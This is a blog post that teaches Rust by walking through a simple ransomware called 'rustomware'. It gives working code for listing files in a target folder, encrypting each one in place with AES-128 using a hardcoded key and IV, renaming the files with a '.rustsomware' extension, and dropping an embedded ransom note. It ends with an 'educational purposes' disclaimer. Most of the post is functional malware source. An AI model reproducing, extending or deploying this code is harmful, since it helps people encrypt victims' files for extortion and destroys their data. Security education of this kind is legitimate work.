When I first heard about Rust, my first reaction was "Why?". The language looked to me as a "wannabe" to C and I didn't understand why it is so popular. I started to read more and more about this language and began to like it. To challenge myself, I decided to write rustomware in Rust. Later on, I ran into trickster0's amazing repository OffensiveRust and that gave me more motivation to learn Rust. Nowadays I'm creating a unique C2 framework written (mostly) in Rust. If you are familiar with Rust, you can skip to Part 2 below.
The code for this blog post is available on my GitHub :).
The reason that I think that Rust is an awesome language is that it's a powerful compiler, has memory safety, easy syntax and great interaction with the OS. Rust's compiler takes care to alert for anything that can be problematic - A thing that can be annoying but in the end, it helps the developer to create safer programs. On the other hand, the compiler also takes care of annoying tasks that are required when programming in C like freeing memory, closing files, etc. Rust is also a cross-platform language, so it can be used on any platform and be executed differently depending on the OS.
Enough talking and let's start to code! The first thing we want to do is create our program, it can be done with this simple command:
1 2 cargo new rustomware cd rustomware
In the rustsomware directory, we will have these files:
1 2 3 4 5 6 7 8 9 rustomware │ .gitignore │ Cargo.toml │ └───src │ │ main.rs │ └───.git │ ...
In the main.rs file, we will write our code, and in Cargo.toml we will include our modules. To build our new program, we will use the following command:
cargo build
Our executable will be in the target directory (because we didn't use the release flag so it will be in debugging) and will be called rustomware.exe. You'll notice that there are a few new files and directories - the Cargo.lock file, and many files under the target directory. I won't elaborate on them here but in general the Cargo.lock file contains the dependencies of the project in a format that can be used by Cargo to build the project. THERE IS NO NEED TO EDIT THESE FILES. In the target directory, we will have the modules themselves, the executable and the PDB file.
After we learned a bit about Rust, we can dive into coding our ransomware.
Like any good ransomware, we will need to have these functionalities:
  • Encrypting files.

  • Decrypting files.

  • Dropping a README file.

  • Adding our extension to the files.

For that, we will need to use crates (modules) to help us out. First things first, we need to be able to get a list of all the files in the target directory from the argv. To do that, we can use the std library and the fs module. To use a module all we need to do is to import it:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 use std::{ env, fs }; fn main() { let args: Vec<_> = env::args().collect(); if args.len() < 2 { println!("Not enough arguments! Usage: rustsomware <encrypt|decrypt> <folder>"); return; } let entries = fs::read_dir(args[2].clone()).unwrap(); for raw_entry in entries { let entry = raw_entry.unwrap(); if entry.file_type().unwrap().is_file() { println!("File Name: {}", entry.path().display()) } } }
Now we have a program that finds files in a folder. Notice that we used the unwrap() method to get the result, it is required because Rust functions mostly send as a result type that can be either Ok or Err. We also needed to clone the string because Rust needs to clone objects or create a safe borrow (It is not recommended to borrow objects, but it is possible and can be useful in some cases).
To encrypt the files, we will the AES cipher with a hardcoded key and IV. All that is left for us to do is to create a function that is responsible to encrypt the file and change its extension to .rustsomware. First things first, to be able to do encryption/decryption methods we will need to have a crate to help with that. Since the libaes crate isn't a default crate, we need to import it to our project and this can be done by modifying the Cargo.toml file by adding:
1 2 [Dependencies] libaes = "0.6.2"
Now, we can create a function that can encrypt and decrypt. For the sake of practice, we will use a hardcoded key and IV but this is NOT recommended at all.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 fn encrypt_decrypt(file_name: &str, action: &str) -> bool { let key = b"fTjWmZq4t7w!z%C*"; let iv = b"+MbQeThWmZq4t6w9"; let cipher = Cipher::new_128(key); match action { "encrypt" => { println!("[*] Encrypting {}", file_name); let encrypted = cipher.cbc_encrypt(iv, &fs::read(file_name).unwrap()); fs::write(file_name, encrypted).unwrap(); let new_filename = format!("{}.rustsomware", file_name); fs::rename(file_name, new_filename).unwrap(); } "decrypt" => { println!("[*] Decrypting {}", file_name); let decrypted = cipher.cbc_decrypt(iv, &fs::read(file_name).unwrap()); fs::write(file_name, decrypted).unwrap(); let new_filename = file_name.replace(".rustsomware", ""); fs::rename(file_name, new_filename).unwrap(); } _ => { println!("[-] Invalid action!"); return false } } return true; }
You can use the key and IV from above or generate them yourself. The code above is a simple example of how to use AES128 with Rust, pretty simple right?
As you saw, Rust has a simple interface with the file system that allows you to rename and do io operations easily. Because this is a simple example the function returns a boolean type but it is recommended to return the error to the calling function for further handling.
Just like any good ransomware we need to do a simple thing and add a README file. For the sake of learning, we will learn about including files statically to our binary. Create a readme.txt file with your ransom message in it (it is recommended to create it in a separate directory inside your project directory but you can also put it in the src directory). To add the file, all we need to do is to use the include_str! macro (everything that ends with ! in rust is a macro) and save it to a variable.
1 2 3 4 5 6 ... // Dropping the README.txt file. let ransom_message = include_str!("../res/README.txt"); let readme_path = format!("{}/README_Rustsomware.txt", args[2].clone()); fs::write(readme_path, ransom_message).unwrap();
As you saw, we can just save it to a file and if we want to do any changes just change the README file and recompile, no code editing is required.
Result: result
In this blog post, you got a taste of Rust's power and had fun with it by creating a simple program. I think that in the future we will see more and more infosec tools that are written in Rust. The whole code is available on my GitHub, for any questions feel free to ask me on X (Twitter).
I'm not responsible for any damage that may occur to your computer. This article is just for educational purposes and is not intended to be used in any other way.
Logo

© 2024 Ido Veltzman - All Rights Reserved

X
Telegram
Github
Mail